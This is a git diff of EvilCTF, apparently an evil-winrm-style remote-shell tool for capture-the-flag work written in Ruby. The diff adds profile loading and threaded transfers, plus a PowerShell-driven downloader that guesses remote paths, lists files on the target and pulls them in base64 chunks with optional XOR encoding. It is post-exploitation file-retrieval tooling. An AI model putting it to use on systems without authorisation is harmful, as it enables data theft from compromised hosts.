+ + def select_profile + names = EvilCTF::Config::Profiles.profile_names(root_path: @root_path) + return @app_state.append_stream('[!] No profiles found') if names.empty? + + prompt = @prompt_factory.call + return unless prompt + + selected = prompt.select('Profiles', names) + profile = EvilCTF::Config::Profiles.load_profile(name: selected, root_path: @root_path) + if profile + @app_state.set_pending_connection(profile) + @app_state.append_stream("[+] Loaded profile '#{selected}' for next session") + else + @app_state.append_stream("[!] Failed to load profile '#{selected}'") + end + end + + def apply_settings + result = @settings_manager.open + return unless result + + case result[:type] + when :toggle_logging + state = result[:value] ? 'enabled' : 'disabled' + @app_state.append_stream("[+] Logging #{state}") + when :theme + @app_state.append_stream("[+] Theme set to #{result[:value]}") + when :scrollback_limit + @app_state.append_stream("[+] Scrollback limit set to #{result[:value]}") + end + end + + def enqueue_transfer(direction:, shell:) + unless shell + @app_state.append_stream("[!] No active shell for #{direction}") + return + end + + Thread.new do + begin + @transfer_callback.call(direction: direction, shell: shell) + rescue StandardError => e + @app_state.append_stream("[!] #{direction} failed: #{e.class}: #{e.message}") + end + end + end + end + end +end diff --git a/lib/evil_ctf/uploader/client.rb b/lib/evil_ctf/uploader/client.rb index 6451251..701a6ee 100644 --- a/lib/evil_ctf/uploader/client.rb +++ b/lib/evil_ctf/uploader/client.rb @@ -370,12 +370,12 @@ def upload_file(local_path, remote_path, encrypt: false, chunk_size: DEFAULT_CHU end def download_file(remote_path, local_path, xor_key: nil, allow_empty: true) - exist = @shell_adapter.run("Test-Path '#{EvilCTF::Utils.escape_ps_string(remote_path)}'") - unless exist && exist.output.to_s.strip == 'True' - puts '[!] Remote path not found'.colorize(:red) - @logger&.error("[Downloader] Remote path not found: #{remote_path}") - raise ::EvilCTF::Errors::DownloadError, 'Remote path not found' + requested_remote_path = remote_path.to_s + resolved_remote_path = resolve_remote_path(remote_path: requested_remote_path, retries: 10, delay: 1) + if resolved_remote_path && resolved_remote_path != requested_remote_path + @logger&.info("[Downloader] Resolved remote path '#{requested_remote_path}' to '#{resolved_remote_path}'") end + remote_path = resolved_remote_path || requested_remote_path # Prefer adapter file manager fm = @shell_adapter.respond_to?(:file_manager) ? @shell_adapter.file_manager : nil @@ -395,17 +395,124 @@ def download_file(remote_path, local_path, xor_key: nil, allow_empty: true) @logger&.info("[Downloader] Download complete: #{local_path}") return true rescue => e + if remote_not_found_error?(e) + retry_remote = resolve_remote_path(remote_path: requested_remote_path, retries: 4, delay: 1) + if retry_remote && retry_remote != remote_path + @logger&.info("[Downloader] Retrying with resolved path #{retry_remote}") + begin + tmp_local = local_path + ".winrmfs.tmp" + if fm.respond_to?(:download) + fm.download(remote_path: retry_remote, local_path: tmp_local) + elsif fm.respond_to?(:read) + fm.read(remote_path: retry_remote, local_path: tmp_local) + end + FileUtils.mkdir_p(File.dirname(local_path)) + FileUtils.mv(tmp_local, local_path) + @logger&.info("[Downloader] Download complete after path retry: #{local_path}") + return true + rescue => retry_error + @logger&.warn("[Downloader] Retry with resolved path failed: #{retry_error.message}") + end + end + end @logger&.warn("[Downloader] File manager download failed, falling back: #{e.message}") end end - # Chunked, resume-capable binary download using PowerShell FileStream + begin + return download_via_chunks(remote_path: remote_path, local_path: local_path, xor_key: xor_key, allow_empty: allow_empty) + rescue ::EvilCTF::Errors::DownloadError => e + if remote_not_found_error?(e) + retry_remote = resolve_remote_path(remote_path: requested_remote_path, retries: 6, delay: 1) + if retry_remote && retry_remote != remote_path + @logger&.info("[Downloader] Retrying chunked download with resolved path #{retry_remote}") + return download_via_chunks(remote_path: retry_remote, local_path: local_path, xor_key: xor_key, allow_empty: allow_empty) + end + @logger&.warn("[Downloader] No remote candidates found for #{requested_remote_path}") + log_nearby_remote_candidates(remote_path: requested_remote_path) + puts '[!] Remote path not found'.colorize(:red) + @logger&.error("[Downloader] Remote path not found: #{requested_remote_path}") + end + raise + end + rescue ::EvilCTF::Errors::DownloadError + raise + rescue => e + @logger&.error("[Downloader] Download failed: #{e.class}: #{e.message}") + raise ::EvilCTF::Errors::DownloadError, e.message + end + + private + + def resolve_remote_path(remote_path:, retries:, delay:) + requested = remote_path.to_s.gsub('/', '\\') + attempts = [retries.to_i, 1].max + + attempts.times do |idx| + return requested if remote_path_exists?(remote_path: requested, retries: 1, delay: 0) + + matched = find_matching_remote_path(remote_path: requested) + return matched if matched + + break if idx == attempts - 1 + sleep(delay) + end + + nil + rescue => e + @logger&.warn("[Downloader] Remote path resolution failed: #{e.class}: #{e.message}") + nil + end + + def find_matching_remote_path(remote_path:) + escaped = EvilCTF::Utils.escape_ps_string(remote_path) + ps = <<~PS + try { + $target = '#{escaped}' + $dir = Split-Path -Parent $target + $leaf = Split-Path -Leaf $target + if (!(Test-Path -LiteralPath $dir)) { 'MISSING'; return } + + $base = [System.IO.Path]::GetFileNameWithoutExtension($leaf) + $ext = [System.IO.Path]::GetExtension($leaf) + if ([string]::IsNullOrWhiteSpace($base)) { 'MISSING'; return } + + $pattern = if ([string]::IsNullOrWhiteSpace($ext)) { "$base*" } else { "$base*$ext*" } + + $m = Get-ChildItem -LiteralPath $dir -File -ErrorAction SilentlyContinue | + Where-Object { $_.Name -like $pattern } | + Sort-Object LastWriteTime -Descending | + Select-Object -First 1 + + if ($m) { "MATCH::$($m.FullName)" } else { 'MISSING' } + } catch { + "ERROR: $($_.Exception.Message)" + } + PS + + res = @shell_adapter.run(ps) + out = res&.output.to_s + marker = out.lines.map(&:strip).find { |ln| ln.start_with?('MATCH::') } + return nil unless marker + + marker.sub('MATCH::', '').strip + rescue => e + @logger&.warn("[Downloader] Match probe failed: #{e.class}: #{e.message}") + nil + end + + def remote_not_found_error?(error) + msg = error.to_s.downcase + msg.include?('path not found') || msg.include?('remote path not found') || msg.include?('could not find file') + end + + def download_via_chunks(remote_path:, local_path:, xor_key:, allow_empty:) chunk_size = DEFAULT_CHUNK_SIZE tmp_local = local_path + '.part' FileUtils.mkdir_p(File.dirname(local_path)) offset = File.exist?(tmp_local) ? File.size(tmp_local) : 0 - @logger&.info("[Downloader] Starting chunked download: offset=#{offset} chunk_size=#{chunk_size}") + @logger&.info("[Downloader] Starting chunked download from #{remote_path}: offset=#{offset} chunk_size=#{chunk_size}") loop do ps_chunk = <<~PS @@ -437,11 +544,14 @@ def download_file(remote_path, local_path, xor_key: nil, allow_empty: true) end raw = res.output.to_s - # Extract base64 payload + if raw.include?('ERROR:') + msg = raw.lines.map(&:strip).find { |ln| ln.start_with?('ERROR:') } || raw.strip + raise ::EvilCTF::Errors::DownloadError, msg + end + b64 = raw.scan(/[A-Za-z0-9+\/=\s]{4,}/m).map { |s| s.gsub(/\s+/, '') }.max_by(&:length).to_s if b64.empty? - # No more data @logger&.info('[Downloader] No more data from remote; finishing') break end @@ -458,19 +568,15 @@ def download_file(remote_path, local_path, xor_key: nil, allow_empty: true) raise ::EvilCTF::Errors::DownloadError, 'Failed to decode chunk' end - # Apply XOR if needed chunk = EvilCTF::Tools::Crypto.xor_crypt(chunk, xor_key) if xor_key - # Append to tmp file File.open(tmp_local, 'ab') { |f| f.write(chunk) } offset += chunk.bytesize @logger&.info("[Downloader] Wrote chunk, new offset=#{offset}") - # If chunk was smaller than requested, we've reached EOF break if chunk.bytesize < chunk_size end - # Final checks if File.exist?(tmp_local) && File.size(tmp_local) == 0 && !allow_empty puts '[!] Remote file empty and empty files not allowed'.colorize(:red) @logger&.error('[Downloader] Remote file empty and empty files not allowed') @@ -480,11 +586,58 @@ def download_file(remote_path, local_path, xor_key: nil, allow_empty: true) FileUtils.mv(tmp_local, local_path) @logger&.info("[Downloader] Download complete: #{local_path}") true - rescue ::EvilCTF::Errors::DownloadError - raise + end + + def log_nearby_remote_candidates(remote_path:) + escaped = EvilCTF::Utils.escape_ps_string(remote_path) + ps = <<~PS + try { + $target = '#{escaped}' + $dir = Split-Path -Parent $target + if (!(Test-Path -LiteralPath $dir)) { 'CANDIDATES::DIR_MISSING'; return } + $items = Get-ChildItem -LiteralPath $dir -File -ErrorAction SilentlyContinue | + Sort-Object LastWriteTime -Descending | + Select-Object -First 10 -ExpandProperty FullName + if ($items) { + "CANDIDATES::" + ($items -join '|') + } else { + 'CANDIDATES::NONE' + } + } catch { + "CANDIDATES::ERROR::$($_.Exception.Message)" + } + PS + out = @shell_adapter.run(ps)&.output.to_s + line = out.lines.map(&:strip).find { |ln| ln.start_with?('CANDIDATES::') } + @logger&.warn("[Downloader] #{line}") if line && !line.empty? rescue => e - @logger&.error("[Downloader] Download failed: #{e.class}: #{e.message}") - raise ::EvilCTF::Errors::DownloadError, e.message + @logger&.warn("[Downloader] Candidate listing failed: #{e.class}: #{e.message}") + end + + def remote_path_exists?(remote_path:, retries:, delay:) + escaped = EvilCTF::Utils.escape_ps_string(remote_path) + ps = <<~PS + try { + if (Test-Path -LiteralPath '#{escaped}') { 'EXISTS' } else { 'MISSING' } + } catch { + "ERROR: $($_.Exception.Message)" + } + PS + + attempts = [retries.to_i, 1].max + attempts.times do |idx| + res = @shell_adapter.run(ps) + out = res&.output.to_s + return true if out.include?('EXISTS') + + break if idx == attempts - 1 + sleep(delay) + end + + false + rescue => e + @logger&.warn("[Downloader] Existence probe failed: #{e.class}: #{e.message}") + false end end end